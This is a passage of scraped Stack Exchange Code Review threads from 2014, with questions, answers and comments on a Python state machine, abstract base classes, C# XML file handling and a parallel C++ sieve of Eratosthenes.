"Score": "0",
"body": "Good question! I believe it depends on the field of use. For my purpose I usually need statemachines to simulate a behavior and dealing with many different messages. In this setting I don't want to repeat my code all the time.\n\nHowever it's easy to make the State throw an Exception if `state_action_list` has `len` 0."
}
] | [
{
"body": "<p>Not a proper code review as per se but I was wondering if things couldn't be done in a more straight-forward way like this :</p>\n\n<pre><code>#!/usr/bin/python\n\nclass Machine(object):\n def __init__(self, state, transitions):\n self.transitions = transitions\n self.state = state\n\n def __call__(self, input):\n old_state = self.state\n self.state = self.transitions.get((self.state, input), self.state)\n print(\"DEBUG %s -- %s --> %s\" % (old_state, input, self.state))\n\nmachine = Machine(\n \"a\",\n {\n (\"a\",\"msgA\"):\"b\",\n (\"b\",\"msgB\"):\"c\",\n (\"c\",\"msgB\"):\"b\",\n (\"c\",\"msgC\"):\"a\",\n }\n )\n\nmachine(\"msgA\")\nmachine(\"msgB\")\nmachine(\"msgC\")\nmachine(\"msgB\")\n</code></pre>\n\n<p>Using functions to have actual side effects, this could look like this :</p>\n\n<pre><code>#!/usr/bin/python\n\n\n# examples of helper functions\ndef goto(s):\n return lambda state,input: s\n\ndef no_move():\n return lambda state,input: state\n\ndef verbose_no_move():\n def func(state,input):\n print('Cannot find a transition for %s from %s' % (input, state))\n return state\n return func\n\ndef print_input_and_goto(s):\n def func(state,input):\n print(input)\n return s\n return func\n\ndef print_old_state_and_goto(s):\n def func(state,input):\n print(state)\n return s\n return func\n\ndef raise_exception():\n def func(state,input):\n raise ValueError('Cannot find a transition for %s from %s' % (input, state))\n\nclass Machine(object):\n def __init__(self, initial_state, transitions):\n self.transitions = transitions\n self.state = initial_state\n self.default = verbose_no_move() # pick a default behavior\n\n def __call__(self, input):\n old_state = self.state\n func = self.transitions.get((self.state, input), self.default)\n self.state = func(self.state,input)\n print(\"DEBUG %s -- %s --> %s\" % (old_state, input, self.state))\n\n\nmachine = Machine(\n \"a\",\n {\n (\"a\",\"msgA\"):goto(\"b\"),\n (\"b\",\"msgB\"):print_input_and_goto(\"c\"),\n (\"c\",\"msgB\"):goto(\"b\"),\n (\"c\",\"msgC\"):print_old_state_and_goto(\"a\"),\n }\n )\n\nmachine(\"msgA\")\nmachine(\"msgB\")\nmachine(\"msgC\")\nmachine(\"msgB\")\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T05:55:48.903",
"Id": "82541",
"Score": "1",
"body": "Thank you Josay. Unfortunately I see a couple issues with this. As this implementation is not fully object oriented it has the typical drawbacks (such as, lack of data and logic encapsulation as well as failing late - at runtime)\n\nAnother major issue is that a message can not carry any payload. Furthermore due to the lack of encapsulation any change to the state machine will be a change to everything, as you're changing in the Machine scope.\n\nAgain, I appreciate your feedback and believe this is a valid solution for simple scripts but not a good basis for larger size programs."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T06:33:23.387",
"Id": "82545",
"Score": "0",
"body": "Fair enough. That's a valid explanation to me :-)"
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T19:47:58.210",
"Id": "47084",
"ParentId": "47058",
"Score": "1"
}
}
] | {
"AcceptedAnswerId": null,
"CommentCount": "2",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T13:05:49.447",
"Id": "47058",
"Score": "4",
"Tags": [
"python",
"design-patterns",
"state-machine"
],
"Title": "State Design Pattern in Python"
} | 47058 |
<h3>Background</h3>
<p>I have a base (only 2 classes inherit from it, and only from it) abstract (meaning I don't want it to be used directly) class that implements some common functionality.</p>
<p>Some of it depends on certain methods being defined, methods whose implementation differs per the exact sub-class; so I set-up a mechanism to raise an exception in case that kind of thing happened (better explicit fail than subtle debugging, right?).</p>
<h3>Code</h3>
<pre class="lang-py prettyprint-override"><code>class Matrix:
"""Model an abstract base interface for 2-d matrices."""
def __init__(self):
"""Raise error as class is abstract."""
self.__eq__ = self._flip = self._rotate = self.__error
raise NotImplementedError("{} should not be instantiated directly".format(type(self)))
def __error(self):
"""Raise error as certain methods need to be over-rided."""
raise NotImplementedError("method needs to be defined by sub-class")
</code></pre>
<h3>Question</h3>
<p>Is that an anti-pattern, like singletons or w/e? If so, what's a better way? Should I even check for this at all (i.e., maybe similar to excessive type-checking)?</p>
<blockquote>
<p><strong>Disclaimer:</strong> Python was my first language, and I do NOT like Java (although I have some experience from Android development); so this is not me trying to port some ruddy static pattern from another language.</p>
</blockquote>
| [] | [
{
"body": "<blockquote>\n <p><strong>Source:</strong> Question answered while <a href=\"http://chat.stackexchange.com/transcript/message/14923903#14923903\">rubber-ducking in the chat-room</a>, LOL ;)</p>\n</blockquote>\n\n<p>When the <code>Matrix</code> methods try to look for the non-existent methods; they'll error out — naturally — as a <code>NameError</code>.</p>\n\n<p><em><strong>Note</strong> Although there are other great, detailed answers here about idiomatic use of abstract classes, what I eventually went with was just removing the methods; so I think I should accept my answer as per the FAQ and +1 the rest of the useful ones.</em></p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T14:13:15.727",
"Id": "47063",
"ParentId": "47059",
"Score": "1"
}
},
{
"body": "<p>Perhaps you could write a small wrapper to confirm that self isn't of type base class. This way you don't need to implement it, unless you plan on using it.</p>\n\n<pre><code>def confirm_subclass(func):\n def base_func(self, *args, **kwargs):\n if type(self) == Matrix:\n raise NotImplementedError(\"method: {} needs to be defined by sub-class: \".format(func, type(self)))\n else:\n return self.func(*args, **kwargs)\n return base_func\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T06:35:14.943",
"Id": "82546",
"Score": "0",
"body": "I couldn't understand what you meant by \"This way you don't need to implement it, unless you plan on using it.\". Implement what?"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T11:29:48.457",
"Id": "82573",
"Score": "0",
"body": "@YatharthROCK if you wrap a base function it will only raise an error when that function is actually called. so if you dont ever use that function with whatever subclass you make, you wont get an error."
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T23:50:51.173",
"Id": "47112",
"ParentId": "47059",
"Score": "1"
}
},
{
"body": "<p>With multi-inheritance and <a href=\"https://docs.python.org/3.4/library/functions.html#super\">super</a>, raising <code>NotImplementedError</code> is an <a href=\"https://bugs.launchpad.net/horizon/+bug/1278825\">anti-pattern</a>.</p>\n\n<h2>Breaking the DRY principle</h2>\n\n<p>When <code>__init__</code> raise a exception all subclass must repeat the initialization instead of using the default. </p>\n\n<pre><code>class BadBaseMatrix():\n \"\"\"Init raise NotImplementedError\"\"\"\n def __init__(self, text_version_of_matrix):\n \"\"\"text_version_of_matrix represent some argument to initialize all matrix\"\"\"\n # ...\n raise NotImplementedError\n\nclass ComplexMatrix(BadBaseMatrix):\n def __init__(self, text_version_of_matrix):\n self.text_version_of_matrix = text_version_of_matrix\n # ...\n\nclass OtherMatrix(BadBaseMatrix):\n def __init__(self, text_version_of_matrix):\n # Must redo the initialization here\n self.text_version_of_matrix = text_version_of_matrix\n # ...\n</code></pre>\n\n<p>instead of something like this</p>\n\n<pre><code>class BetterBaseMatrix():\n def __init__(self, text_version_of_matrix):\n \"\"\"text_version_of_matrix represent some argument to initialize all matrix\"\"\"\n self.text_version_of_matrix = text_version_of_matrix\n\nclass ComplexMatrix(BetterBaseMatrix):\n # ...\n\nclass PrintMatrix(BetterBaseMatrix):\n def __init__(self, text_version_of_matrix):\n super().__init__(text_version_of_matrix)\n # in python 2, this would be super(MyMatrix, self)\n print(\"PrintMatrix initialized\")\n</code></pre>\n\n<h2>Breaking inheritance</h2>\n\n<pre><code>class MyMatrix(BadBaseMatrix):\n def__init__(self, text_version_of_matrix):\n # I will use his implementation because it must do some important initialization there. \n super().__init__(text_version_of_matrix)\n\n>>> matrix = MyMatrix(\"\")\n# NotImplementedError\n</code></pre>\n\n<h2>Do you really need a abstract base class</h2>\n\n<p>I feel that in Python, you do not need to <strong>prevent</strong> consumers of using your class a certain way. Maybe the base class could be used as a valid container. If so, returning a correct default (possibly <code>None</code>) would be enough for methods. </p>\n\n<p>Here a similar version as your original of a plain matrix usable as a base class. But you should define each method to be able to add it's docstring.</p>\n\n<pre><code>class PlainMatrix():\n def _do_nothing(*args, **kwargs):\n \"\"\"This docstring is used for all methods ...\"\"\"\n pass # \n rotate = flip = _do_nothing\n</code></pre>\n\n<h2>You really need a a abstract class</h2>\n\n<p>Use <a href=\"https://docs.python.org/3.4/library/abc.html?highlight=abc#abc.ABCMeta\">abc.ABCMeta</a>.</p>\n\n<pre><code>import abc\n\nclass BaseMatrix(metaclass=abc.ABCMeta):\n # In python 2, \n # __metaclass__ = abc.ABCMeta\n\n def __init__(self, text_version_of_matrix):\n \"\"\"text_version_of_matrix represent some argument to initialize all matrix\"\"\"\n self.text_version_of_matrix = text_version_of_matrix\n\n @abc.abstractmethod\n def rotate(self, degree):\n \"\"\" Abstract rotate that must be implemented in subclass\"\"\"\n pass\n\n class SubMatrix(BaseMatrix):\n\n def rotate(self, degree):\n \"\"\" True implementation of rotate\"\"\"\n # ...\n\n class StillAbstractMatrix(BaseMatrix):\n \"\"\" StillAbstractMatrix has not implemented rotate \"\"\"\n pass\n\n >>> sub_matrix = SubMatrix(\"1 2 3\")\n >>> bad = StillAbstractMatrix(\"1 2 3\")\n # Traceback (most recent call last):\n # File \"<stdin>\", line 1, in <module>\n # TypeError: Can't instantiate abstract class StillAbstractMatrix with abstract methods rotate\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T06:39:35.207",
"Id": "82547",
"Score": "0",
"body": "Thanks for the detailed answer; definitely got a lot about abstract classes from it. That said, do you even think I _need_ to define these subclass-specific methods in the base one? I mean, [they'd just error out naturally](http://codereview.stackexchange.com/a/47063/13066), wouldn't they?"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-16T13:58:22.750",
"Id": "82950",
"Score": "0",
"body": "In your own code, not used by others, almost a throwaway project, you do not _need_ anything special. But many tools could help you more if they are define: IDE autocomplete and rename, documentation builder, ... Also I think that defining them make the intention/contract of the base class clearer: what need to be override, what method can I used with descendants."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-17T08:20:47.140",
"Id": "83117",
"Score": "0",
"body": "You're right. I was over-thinking the method access part, and under-thinking the actual architecture. Thanks!"
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T01:23:41.637",
"Id": "47115",
"ParentId": "47059",
"Score": "8"
}
}
] | {
"AcceptedAnswerId": "47063",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T13:39:38.820",
"Id": "47059",
"Score": "9",
"Tags": [
"python",
"classes",
"inheritance",
"abstract-factory"
],
"Title": "Raising error if method not overridden by sub-class"
} | 47059 |
<p>I'm not going to explain the purpose of the code provided below. If you do not understand it, i know that i have to improve it (naming, structure etc.).</p>
<p>I would like to know how to improve this code in terms of readability and complexity.</p>
<p><strong>Data structure:</strong></p>
<pre><code><?xml version="1.0" encoding="utf-8"?>
<QuoteApp>
<Authors>
<Author>
<AuthorId>1</AuthorId>
<Firstname>William</Firstname>
<Lastname>Shakespeare</Lastname>
<Profession>englischer Dramatiker, Lyriker und Schauspieler</Profession>
<DayOfBirth>Sonntag, 26. April 1564</DayOfBirth>
<DayOfDeath>Dienstag, 3. Mai 1616</DayOfDeath>
<Image>/Data/Images/Author1.jpg</Image>
</Author>
<Author>
<AuthorId>2</AuthorId>
<Firstname>Friedrich</Firstname>
<Lastname>Nietzsche</Lastname>
<Profession>deutscher Philologe und Philosoph</Profession>
<DayOfBirth>Dienstag, 15. Oktober 1844</DayOfBirth>
<DayOfDeath>Samstag, 25. August 1900</DayOfDeath>
<Image>/Data/Images/Author2.jpg</Image>
</Author>
</Authors>
<Quotes>
<Quote>
<QuoteId>1</QuoteId>
<Text>qwerty</Text>
</Quote>
<Quote>
<QuoteId>2</QuoteId>
<Text>qwerty</Text>
</Quote>
</Quotes>
</QuoteApp>
</code></pre>
<p><strong>Entry Point:</strong></p>
<pre><code>private void SaveAuthor()
{
var xmlFileHandler = new XmlFileHandler();
//xmlFileHandler.CreateXmlFile();
xmlFileHandler.AddAuthor(new Author(1, "William", "Shakespeare", "englischer Dramatiker, Lyriker und Schauspieler",
new DateTime(1564, 04, 26), new DateTime(1616, 05, 3)));
xmlFileHandler.AddAuthor(new Author(2, "Friedrich", "Nietzsche", "deutscher Philologe und Philosoph",
new DateTime(1844, 10, 15), new DateTime(1900, 08, 25)));
}
</code></pre>
<p><strong>XmlFileHandler class</strong></p>
<pre><code>public class XmlFileHandler
{
private const string FileName = "quotes.xml";
private const string AuthorsNodeName = "Authors";
public bool AddAuthor(Author author)
{
var xmlQuotes = XDocument.Load(FileName);
var authorExists = CheckIfAuthorAlreadyExists(author.AuthorId, xmlQuotes);
if (!authorExists)
{
this.AddAuthorToXmlDocument(author, xmlQuotes);
return true;
}
return false;
}
private void AddAuthorToXmlDocument(Author author, XDocument xmlQuotes)
{
var authorsNode = xmlQuotes.Descendants(AuthorsNodeName).FirstOrDefault();
if (authorsNode != null) authorsNode.Add(this.CreateAuthorXmlNode(author));
xmlQuotes.Save(FileName);
}
private bool CheckIfAuthorAlreadyExists(int authorId, XDocument xmlQuotes)
{
var xmlAuthorList = xmlQuotes.Descendants(AuthorsNodeName).Descendants("Author");
IEnumerable<XElement> xElements = from xmlAuthor in xmlAuthorList
let xElement = xmlAuthor.Element("AuthorId")
where xElement != null && xElement.Value == authorId.ToString(CultureInfo.InvariantCulture)
select xmlAuthor;
if (xElements.Any())
{
return true;
}
return false;
}
private XElement CreateAuthorXmlNode(Author author)
{
var xmlAuthor = new XElement("Author");
xmlAuthor.Add(new XElement("AuthorId") { Value = author.AuthorId.ToString(CultureInfo.InvariantCulture) });
xmlAuthor.Add(new XElement("Firstname") { Value = author.Firstname });
xmlAuthor.Add(new XElement("Lastname") { Value = author.Lastname });
xmlAuthor.Add(new XElement("Profession") { Value = author.Profession });
xmlAuthor.Add(new XElement("DayOfBirth") { Value = author.DayOfBirth.ToLongDateString() });
xmlAuthor.Add(new XElement("DayOfDeath") { Value = author.DayOfDeath.ToLongDateString() });
xmlAuthor.Add(new XElement("Image") { Value = author.Image.AbsolutePath });
return xmlAuthor;
}
}
</code></pre>
| [] | [
{
"body": "<p>Instead of reloading the XML file every time you call <code>AddAuthor</code>, it would be more efficient to load the file once. If you are concerned about other threads or processes writing to the file, then you might want to lock it.</p>\n\n<p>The <code>authorExists</code> local variable is pointless, you could drop it. Unless you think the code is more readable this way.</p>\n\n<p>In <code>AddAuthorToXmlDocument</code>, probably you only want to save the file after successfully adding an author, so I would move the saving within the <code>if (authorsNode != null)</code>.</p>\n\n<p>In <code>CheckIfAuthorAlreadyExists</code> the final <code>if</code> is unnecessary, you can simply:</p>\n\n<pre><code>return xElements.Any()\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T15:51:49.773",
"Id": "47070",
"ParentId": "47066",
"Score": "6"
}
},
{
"body": "<p>I think the code reads good. One minor point I have is about the hard coding of the FileName into the class. This limits that entire class to only being able to deal with a file called <code>quotes.xml</code>.</p>\n\n<p>I think you might get more testability out of moving that to a constructor argument. If you didn't want to have to always specify the file name each time the class was constructed you could either create a default empty constructor, or provide a wrapper class.</p>\n\n<p>Some options for example:</p>\n\n<pre><code>public class XmlFileHandler\n{\n private readonly string _fileName;\n\n public XmlFileHandler() : this(\"quotes.xml\")\n { \n }\n\n public XmlFileHandler(string fileName)\n {\n _fileName = fileName;\n this.xmlQuotes = XDocument.Load(_fileName);\n }\n} \n</code></pre>\n\n<p>Or remove the empty constructor and create a wrapper class:</p>\n\n<pre><code>public class XmlFileHandler\n{\n private readonly string _fileName;\n\n public XmlFileHandler(string fileName)\n {\n _fileName = fileName;\n this.xmlQuotes = XDocument.Load(_fileName);\n }\n} \n\npublic class XmlQuotesFileHandler : XmlFileHandler\n{\n public XmlFileHandler() : base(\"quotes.xml\")\n { \n }\n}\n</code></pre>\n\n<p>On a side note. Have you considered using the XmlSerializer classes? These might be ideal\nin your situation?</p>\n\n<p>That might look something like:</p>\n\n<pre><code>// The classes/model that match the Xml document\npublic class QuoteApp\n{\n public List<Author> Authors { get; set; }\n // etc\n}\n\npublic class Author \n{\n public int AuthorId { get; set; }\n public string FirstName { get; set; }\n // etc\n}\n\n// The conversion of those models to the xml string equivalents\npublic StringWriter Serialize(QuoteApp model)\n{\n // Note the actual writing of the xml document would be the responsibility of another method\n StringWriter writer = new StringWriter();\n XmlWriter xml = XmlWriter.Create(writer, new XmlWriterSettings() { Encoding = writer.Encoding });\n xs.Serialize(xml, model);\n\n return writer;\n}\n\npublic QuoteApp Deserialize(string xml)\n{\n XmlSerializer xs = new XmlSerializer(typeof(QuoteApp));\n return xs.Deserialize(sr);\n}\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T20:58:44.223",
"Id": "47091",
"ParentId": "47066",
"Score": "5"
}
},
{
"body": "<p>If you have any choice at all in the representation of dates, choose a format based on <a href=\"http://en.wikipedia.org/wiki/ISO_8601\" rel=\"nofollow noreferrer\">ISO 8601</a>. The standard represents best practices, and its advantages include</p>\n\n<ul>\n<li>culture neutrality</li>\n<li>unambiguous interpretation</li>\n<li>ease of parsing by computers and humans</li>\n<li>widespread library support</li>\n</ul>\n\n<p><a href=\"http://xkcd.com/1179/\" rel=\"nofollow noreferrer\"><img src=\"https://imgs.xkcd.com/comics/iso_8601.png\" alt=\"XKCD 1179\"></a></p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-16T06:02:00.210",
"Id": "82875",
"Score": "0",
"body": "Actually I use the DateTime ToString() method, I admit that this is kind of quick n' dirty coding style. I will change this, thank you."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-16T12:13:18.237",
"Id": "82932",
"Score": "0",
"body": "I think that he was talking about how you store it in the XML? when you add it to your XML through your code it looks like you have to refer to the date this way `new DateTime(1564, 04, 26)`"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-16T18:58:35.157",
"Id": "83019",
"Score": "0",
"body": "This is how i store the Date into the XML File: new XElement(AuthorElementDayOfBirth) { Value = author.DayOfBirth.ToLongDateString() }"
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T17:25:10.810",
"Id": "47264",
"ParentId": "47066",
"Score": "6"
}
},
{
"body": "<p>this is a really good example to explain how I think about XML Documents.</p>\n\n<pre><code><Author>\n <AuthorId>1</AuthorId>\n <Firstname>William</Firstname>\n <Lastname>Shakespeare</Lastname>\n <Profession>englischer Dramatiker, Lyriker und Schauspieler</Profession>\n <DayOfBirth>Sonntag, 26. April 1564</DayOfBirth>\n <DayOfDeath>Dienstag, 3. Mai 1616</DayOfDeath>\n <Image>/Data/Images/Author1.jpg</Image>\n</Author>\n</code></pre>\n\n<p>first I think of the Author as the Object, it has properties(attributes) and actions(child nodes).</p>\n\n<pre><code><author id=\"1\" name=\"William Shakespeare\" FirstName=\"William\" LastName=\"Shakespeare\" picture=\"/Data/Images/Author1.jpg\">\n <profession>Englischer Dramatiker</profession>\n <profession>Lyriker</profession>\n <profession>Schauspieler</profession>\n <dateofbirth>Sonntag, 26. April 1564</dateofbirth>\n <dateofdeath>Dienstag, 3. Mai 1616</dateofdeath>\n</author>\n</code></pre>\n\n<p>I am not so sure about putting in the file path into the XML either in a node/tag or as an attribute, it looks like you hold all of your images in the same folder so in your XML you only need to know which one in that folder and be more descriptive in your XML, so instead of <code>/Data/Images/Author1.jpg</code> you would just have <code>Author1.jpg</code>.</p>\n\n<p>The reason I say to get rid of the specification in the file path is because if you were to use xPath to query the data and you wanted the image you would have to add a bunch of extra characters to escape the <code>/</code>'s and that can be annoying when writing an xPath query.</p>\n\n<hr>\n\n<p><strong>The Profession</strong></p>\n\n<p>if there are more than one object in a category then make more than one node/tag for that item. it's almost like SQL where you want atomic data, one thing per tag/node.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T18:38:18.230",
"Id": "82812",
"Score": "0",
"body": "I like that you did split the professions. Small help on the syntax of German listings: `item1{, }item2{, }itemx{ und }itemN`. Point being: you need a third profession node ;) also \"englischer\" is an adjective, which in fact means: of english nationality. Also all elements of the list are modified by prepended adjectives in German. You could instead introduce a node `nationality`"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-16T12:11:08.653",
"Id": "82931",
"Score": "0",
"body": "you're Welcome. I look forward to seeing a follow up question. :)"
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T18:25:08.203",
"Id": "47269",
"ParentId": "47066",
"Score": "5"
}
}
] | {
"AcceptedAnswerId": "47070",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T15:21:43.137",
"Id": "47066",
"Score": "8",
"Tags": [
"c#",
"xml"
],
"Title": "Check if XmlNode with certain attribute exists and create XmlNode if not"
} | 47066 |
<p>This question is a revision of <a href="https://codereview.stackexchange.com/q/47016/15094">Parallel sieve of Eratosthenes</a>. The goal is to implement a <a href="http://en.wikipedia.org/wiki/Sieve_of_Eratosthenes" rel="nofollow noreferrer">sieve of Eratosthenes</a> with parallel strikes out from the boolean array. I tried to fix the data races and all the threading-related errors as well as to add some of the ideas from the previous answers. Now, the implementation works as follows:</p>
<ul>
<li>Compute the prime numbers \$ p \$ such as \$ p <= \sqrt{n} \$ thanks to a sequential <a href="http://en.wikipedia.org/wiki/Sieve_of_Eratosthenes" rel="nofollow noreferrer">sieve of Eratosthenes</a>.</li>
<li>Initialize a <code>std::vector<std::atomic<bool>></code> with <code>true</code> for indices between \$ 0 \$ and \$ n \$ (inclusive).</li>
<li>Compute the number of threads that should be used to concurrently strike out values from the vector. This number depends on the maximum number of concurrent threads allowed by the implementation and on the number of precomputed prime numbers.</li>
<li>Spawn threads that will strike out the multiples of a given set of prime numbers from the boolean vector.</li>
<li>Join the threads.</li>
<li>Find the actual remaining prime numbers.</li>
</ul>
<p>To differentiate between the sequential and parallel versions of the sieve, I had the function take an execution policy parameter first, inspired from the C++ parallelism TS <a href="http://www.open-std.org/jtc1/sc22/wg21/docs/papers/2014/n3960.pdf" rel="nofollow noreferrer">N3960</a>. The execution policy classes can be trivially implemented as such (I know... we shouldn't add anything new to <code>std::</code>):</p>
<pre><code>namespace std
{
namespace parallel
{
struct sequential_execution_policy {};
struct parallel_execution_policy {};
struct vector_execution_policy {};
constexpr sequential_execution_policy seq = sequential_execution_policy();
constexpr parallel_execution_policy par = parallel_execution_policy();
constexpr vector_execution_policy vec = vector_execution_policy();
}}
</code></pre>
<p>Here is the sequential version of <code>sieve_eratosthenes</code>. In the end, I did not make <code>strike_out_multiples</code> a lambda since I use it multiple times.</p>
<pre><code>template<typename Integer, typename T>
void strike_out_multiples(Integer n, std::vector<T>& vec)
{
for (Integer i = n*2u ; i < vec.size() ; i += n)
{
vec[i] = false;
}
}
template<typename Integer>
auto sieve_eratosthenes(std::parallel::sequential_execution_policy, Integer n)
-> std::vector<Integer>
{
if (n < 2u)
{
return {};
}
std::vector<char> is_prime(n+1u, true);
// Strike out the multiples of 2 so that
// the following loop can be faster
strike_out_multiples(2u, is_prime);
// Strike out the multiples of the prime
// number between 3 and end
auto end = static_cast<Integer>(std::sqrt(n));
for (Integer n = 3u ; n <= end ; n += 2u)
{
if (is_prime[n])
{
strike_out_multiples(n, is_prime);
}
}
std::vector<Integer> res = { 2u };
for (Integer i = 3u ; i < is_prime.size() ; i += 2u)
{
if (is_prime[i])
{
res.push_back(i);
}
}
return res;
}
</code></pre>
<p>And now, here is the new parallel version of <code>sieve_eratosthenes</code>:</p>
<pre><code>template<typename Integer>
auto sieve_eratosthenes(std::parallel::parallel_execution_policy, Integer n)
-> std::vector<Integer>
{
if (n < 2u)
{
return {};
}
// Only the prime numbers <= sqrt(n) are
// needed to find the other ones
auto end = static_cast<Integer>(std::sqrt(n));
// Find the primes numbers <= sqrt(n) thanks
// to a sequential sieve of Eratosthenes
const auto primes = sieve_eratosthenes(std::parallel::seq, end);
std::vector<std::atomic<bool>> is_prime(n+1u);
for (auto i = 0u ; i < n+1u ; ++i)
{
is_prime[i].store(true, std::memory_order_relaxed);
}
std::vector<std::thread> threads;
// Computes the number of primes numbers that will
// be handled by each thread. This number depends on
// the maximum number of concurrent threads allowed
// by the implementation and on the total number of
// elements in primes
std::size_t nb_primes_per_thread =
static_cast<std::size_t>(std::ceil(
static_cast<float>(primes.size()) /
static_cast<float>(std::thread::hardware_concurrency())
));
for (std::size_t first = 0u;
first < primes.size();
first += nb_primes_per_thread)
{
auto last = std::min(first+nb_primes_per_thread, primes.size());
// Spawn a thread to strike out the multiples
// of the prime numbers corresponding to the
// elements of primes between first and last
threads.emplace_back(
[&primes, &is_prime](Integer begin, Integer end)
{
for (std::size_t i = begin ; i < end ; ++i)
{
auto prime = primes[i];
for (Integer n = prime*2u ; n < is_prime.size() ; n += prime)
{
is_prime[n].store(false, std::memory_order_relaxed);
}
}
},
first, last);
}
for (auto& thr: threads)
{
thr.join();
}
std::vector<Integer> res = { 2u };
for (Integer i = 3u ; i < is_prime.size() ; i += 2u)
{
if (is_prime[i].load(std::memory_order_relaxed))
{
res.push_back(i);
}
}
return res;
}
</code></pre>
<p>And of course, an example <code>main</code>:</p>
<pre><code>int main()
{
auto primes = sieve_eratosthenes(std::parallel::par, 10000u);
for (auto prime: primes)
{
std::cout << prime << " ";
}
}
</code></pre>
<p>Is this code correct (I think that I have resolved the threading-related issues), and if so, how can I make it even better? I can think of two ideas from the previous question that I did not implement:</p>
<ul>
<li>Using a thread pool (still have to learn how to create one).</li>
<li>Using some heuristic to decide when using multiple threads <em>may</em> be better than using only one thread. That heuristic would probably rely on the number of prime numbers handled by each thread.</li>
</ul>
<p><strong>Note:</strong> the code does not work with clang++ 3.5: it seems that libc++ <code>std::vector<std::atomic<T>>(std::size_t count)</code> somehow tries to copy some <code>std::atomic<T></code> instances while it should not copy anything.</p>
| [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T20:13:33.207",
"Id": "82459",
"Score": "0",
"body": "Note: The constructor you mention is the fill constructor. `vector(size_type n, const value_type& val = value_type())`. The second argument (if not supplied) is defaulted; but it is also \"copied\" into every cell on the vector. It may work better if you use resize() as that value initialize the extra elements."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T20:24:06.120",
"Id": "82461",
"Score": "0",
"body": "@LokiAstari This constructor [has been split into two constructors](http://en.cppreference.com/w/cpp/container/vector/vector) when we passed to C++11, and the one with only `count` guarantees that no copies are made."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T20:25:39.987",
"Id": "82462",
"Score": "0",
"body": "Looks like it should work. But you have all the threads accessing all the portions of memory. So behind the scenes there will be lots of page locking to that memory is correct. You current algorithm splits the read memory `prime` across threads. But each thread must also access all write memory `is_prime`. I woud reverse that. There is no contention if all threads use all parts of read memory `prime` then divide the write memory `is_prime` across the threads. So each thread is writing to its own personal chunk of write memory."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-13T20:30:31.937",
"Id": "82463",
"Score": "0",
"body": "@LokiAstari I will have to see what I can do about it. Considering how the algorithm works, I have troubles seeing how I can split the write memory between threads. I understand what you mean, but implmenting it does not seem easy."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T03:17:40.993",
"Id": "82539",
"Score": "1",
"body": "Just a quick note, `std::thread::hardware_concurrency` returns `0` if it cannot compute a value, which would cause a SIGFPE in `nb_primes_per_thread`."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-14T07:24:01.353",
"Id": "82557",
"Score": "0",
"body": "@Yuushi Thanks, I totally overlooked that when reading the description of the function."
}
] | [
{
"body": "<p>Expanding on comments:</p>\n\n<p>I would reverse the splitting.\nI would split the writable memory across the threads so each thread wrote to a unique section of memory (it would be good if this were divided by page size as it may help performance). We will call the section of memory that a thread writes to a page.</p>\n\n<p>Then each thread will loop over <strong>all</strong> the primes and remove them from the page associated with the thread. Using the original code as a starting point it would look like this:</p>\n\n<pre><code>std::size_t pageSizePerThread =\n static_cast<std::size_t>(std::ceil(\n static_cast<float>(n) / // Size of write memory.\n static_cast<float>(std::thread::hardware_concurrency())\n\nfor (std::size_t first = 0u;\n first < n;\n first += pageSizePerThread)\n{\n auto last = std::min(first+pageSizePerThread, n);\n // Spawn a thread to strike out the multiples\n // of the prime numbers corresponding to the\n // elements of primes between first and last\n threads.emplace_back(\n [&primes, &is_prime](Integer begin, Integer end)\n {\n for (auto prime: primes)\n {\n Integer first = begin/prime;\n first += (first < begin) ? prime : 0;\n for (Integer n = first ; n < end ; n += prime)\n {\n is_prime[n].store(false, std::memory_order_relaxed);\n }\n }\n },\n first, last);\n}\n</code></pre>\n\n<p>Note: It does not matter if read memory <code>is_prime</code> is shared across all the threads as each thread can have its own copy in the local cache and not be affected by other threads (as it is read only).</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
